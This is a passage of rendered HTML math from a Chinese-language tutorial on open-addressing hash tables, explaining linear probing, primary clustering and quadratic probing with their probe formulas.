mathnormal">m</span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>h</mi><mn>1</mn></msub></mrow><annotation encoding="application/x-tex">h_1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 和 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>h</mi><mn>2</mn></msub></mrow><annotation encoding="application/x-tex">h_2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是两个不同的散列函数。</p></li></ul><h4 id="linear-probing"><a class="markdownIt-Anchor" href="#linear-probing"></a> Linear Probing</h4><p>给定 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo>:</mo><mi>U</mi><mo>−</mo><mo>&gt;</mo><mo stretchy="false">{</mo><mn>0</mn><mo separator="true">,</mo><mn>1</mn><mo separator="true">,</mo><mo>…</mo><mo separator="true">,</mo><mi>m</mi><mo>−</mo><mn>1</mn><mo stretchy="false">}</mo></mrow><annotation encoding="application/x-tex">h&#x27;:U -&gt; \{ 0, 1, \dots, m-1 \}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7519em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">:</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.10903em;">U</span><span class="mord">−</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">{</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">}</span></span></span></span> 为辅助函数，有</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mi>i</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>+</mo><mi>i</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>m</mi></mrow><annotation encoding="application/x-tex">h(k,i) = (h&#x27;(k) + i) \mod m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span></span></p><p>由于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h&#x27;(k)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span></span></span></span> 是固定的，从 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi><mo stretchy="false">[</mo><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">T[h&#x27;(k)]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)]</span></span></span></span> 、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi><mo stretchy="false">[</mo><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>+</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">T[h&#x27;(k) + 1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span> 往下到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi><mo stretchy="false">[</mo><mi>m</mi><mo>−</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">T[m - 1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mopen">[</span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">]</span></span></span></span> 又到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi><mo stretchy="false">[</mo><mn>0</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">T[0]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mopen">[</span><span class="mord">0</span><span class="mclose">]</span></span></span></span>、<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi><mo stretchy="false">[</mo><mn>1</mn><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">T[1]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mopen">[</span><span class="mord">1</span><span class="mclose">]</span></span></span></span> 最后回到 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi><mo stretchy="false">[</mo><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">T[h&#x27;(k)]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">T</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)]</span></span></span></span>，一开始序列就是决定好的，所以只有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 种不同的序列。</p><p>探测方法的优化目标，直白来说是尽可能少的探测次数就找到空白位置，但线性探测很容易出现<strong>一次聚集</strong>，既然当前位置被占了就会向后挨个探查，那么如果当空白位置前面有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi></mrow><annotation encoding="application/x-tex">i</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6595em;"></span><span class="mord mathnormal">i</span></span></span></span> 个连续被占用则被自身占用的概率就是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo stretchy="false">(</mo><mi>i</mi><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo><mi mathvariant="normal">/</mi><mi>m</mi></mrow><annotation encoding="application/x-tex">(i+1) / m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span><span class="mord">/</span><span class="mord mathnormal">m</span></span></span></span>。随着连续序列越来越长，平均查找时间就会越来越长。</p><h4 id="quadratic-probing"><a class="markdownIt-Anchor" href="#quadratic-probing"></a> Quadratic Probing</h4><p>二次探查是</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mi>i</mi><mo stretchy="false">)</mo><mo>=</mo><mo stretchy="false">(</mo><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>+</mo><msub><mi>c</mi><mn>1</mn></msub><mi>i</mi><mo>+</mo><msub><mi>c</mi><mn>2</mn></msub><msup><mi>i</mi><mn>2</mn></msup><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>m</mi></mrow><annotation encoding="application/x-tex">h(k,i) = (h&#x27;(k) + c_1 i + c_2 i^2) \mod m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0519em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8095em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span></span></p><p>相比线性探查只要探测到聚集区内就会继续聚集，二次探查得益于 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>c</mi><mn>2</mn></msub><msup><mi>i</mi><mn>2</mn></msup></mrow><annotation encoding="application/x-tex">c_2 i^2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9641em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span></span></span></span> 只有在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">h&#x27;(k)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span></span></span></span> 相同的时候才会出现二次群集。</p><p>当然，二次探查也只有 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>m</mi></mrow><annotation encoding="application/x-tex">m</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">m</span></span></span></span> 种序列，因为</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mtable rowspacing="0.16em" columnspacing="1em"><mtr><mtd class ="mtr-glue"></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mtable rowspacing="0.25em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mi>h</mi><mo stretchy="false">(</mo><mi>k</mi><mo separator="true">,</mo><mi>i</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mo stretchy="false">(</mo><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mo>+</mo><msub><mi>c</mi><mn>1</mn></msub><mi>i</mi><mo>+</mo><msub><mi>c</mi><mn>2</mn></msub><msup><mi>i</mi><mn>2</mn></msup><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>m</mi></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><mo stretchy="false">(</mo><mo stretchy="false">(</mo><msup><mi>h</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msup><mo stretchy="false">(</mo><mi>k</mi><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>m</mi><mo stretchy="false">)</mo><mo>+</mo><msub><mi>c</mi><mn>1</mn></msub><mi>i</mi><mo>+</mo><msub><mi>c</mi><mn>2</mn></msub><msup><mi>i</mi><mn>2</mn></msup><mo stretchy="false">)</mo><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>m</mi></mrow></mstyle></mtd></mtr></mtable></mstyle></mtd><mtd class ="mtr-glue"></mtd><mtd class ="mml-eqn-num"></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{equation}\begin{aligned}h(k,i) &amp;= (h&#x27;(k) + c_1 i + c_2 i^2) \mod m \\ &amp;= ((h&#x27;(k) \mod m) + c_1 i + c_2 i^2) \mod m\end{aligned}\end{equation}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3.0482em;vertical-align:-1.2741em;"></span><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.7741em;"><span style="top:-3.7741em;"><span class="pstrut" style="height:3.7741em;"></span><span class="mord"><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.7741em;"><span style="top:-3.91em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">h</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mclose">)</span></span></span><span style="top:-2.3859em;"><span class="pstrut" style="height:3em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2741em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.7741em;"><span style="top:-3.91em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span><span style="top:-2.3859em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mopen">((</span><span class="mord"><span class="mord mathnormal">h</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8019em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathnormal">c</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span><span 